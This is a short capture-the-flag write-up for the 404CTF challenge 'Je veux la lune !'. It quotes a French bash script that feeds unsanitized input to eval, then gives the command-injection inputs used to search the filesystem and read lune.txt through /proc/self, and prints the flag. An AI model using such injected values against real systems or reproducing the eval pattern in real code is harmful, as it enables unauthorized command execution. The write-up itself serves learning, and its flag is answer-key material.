Je veux la lune !
The challenge gives us the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/bash
Caligula=Caius
listePersonnes="Cherea Caesonia Scipion Senectus Lepidus Caligula Caius Drusilla"
echo "Bonjour Caligula, ceci est un message de Hélicon. Je sais que les actionnaires de ton entreprise veulent se débarrasser de toi, je me suis donc dépêché de t'obtenir la lune, elle est juste là dans le fichier lune.txt !
En attendant j'ai aussi obtenu des informations sur Cherea, Caesonia, Scipion, Senectus, et Lepidus, de qui veux-tu que je te parle ?"
read personne
eval "grep -wie ^$personne informations.txt"
while true; do
echo "
De qui d'autre tu veux que je te parle ?"
read personne
if [ -n $personne ] && [ $personne = "stop" ] ; then
exit
fi
bob=$(grep -wie ^$personne informations.txt)
if [ -z "$bob" ]; then
echo "Je n'ai pas compris de qui tu parlais. Dis-moi stop si tu veux que je m'arrête, et envoie l'un des noms que j'ai cités si tu veux des informations."
else
echo $bob
fi
done
As we can see in the above code, there is no sanitization of the input presonne
. So we can just type 404CTF flag.txt;grep -iRl 404CTF /; ls
(I used flag.txt
but you can use anything you want) and we get:
Note that we added
ls
at the end. This is just so that the final command looks likegrep -wie 404CTF flag.txt;grep -iRl 404CTF /; ls informations.txt
Now we can run the command 404CTF flag.txt;cat /proc/self/task/3/cwd/lune.txt; ls
to get the flag:
The flag is 404CTF{70n_C0EuR_v4_7e_1Ach3R_C41uS}